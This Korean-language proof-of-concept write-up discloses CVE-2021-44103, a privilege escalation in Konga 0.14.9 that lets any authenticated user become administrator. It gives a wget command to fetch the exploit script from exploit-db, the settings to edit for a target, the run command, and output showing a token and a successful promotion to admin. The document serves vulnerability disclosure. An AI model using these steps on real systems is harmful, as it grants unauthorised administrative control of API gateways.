CVE-2021-44103

KONGA 0.14.9에 대한 개념 증명 - 권한 상승.

소개

2021년 11월 16일, Fabrício Salomão와 저는 Konga API 게이트웨이에서 인증된 모든 사용자가 관리자가 될 수 있는 취약점을 발견했습니다.

취약점 보고

제품: KONGA
모델: 0.14.9
취약점: 권한 상승
영향: 전체 관리자 액세스 (수직적 권한 상승)
인증: 필요
익스플로잇 저자: Fabricio Salomao / Paulo Trindade

PoC

아래에는 권한이 없는 "usernormal"이라는 일반 사용자가 생성되었습니다.

Crash

아래의 요청을 통해 'admin' 매개변수의 플래그 'FALSE'가 'TRUE'로 변경되었습니다.

Crash

따라서 저희를 위한 익스플로잇이 생성되었습니다: https://www.exploit-db.com/exploits/50521

Crash

익스플로잇을 실행한 후 권한 상승이 성공했습니다!

결과:

Crash

익스플로잇 실행

wget https://www.exploit-db.com/raw/50521 -O 50521.py

Edit 50521.py

Modify:

urlkonga = "http://www.example.com:1337/" # change to your konga address
identifier = "usernormalkonga"            # change user
password = "changeme"                     # change password

Execute:

python 50521.py

[+] Attack
[+] Token eyJhbGciOiJIUzI1NiJ9.MTA.JFmJ0Vd3z5oeOTokSL0qfPZSOJmnZKEjZVzCJs_AM-U
[+] Change Normal User to Admin
[+] Success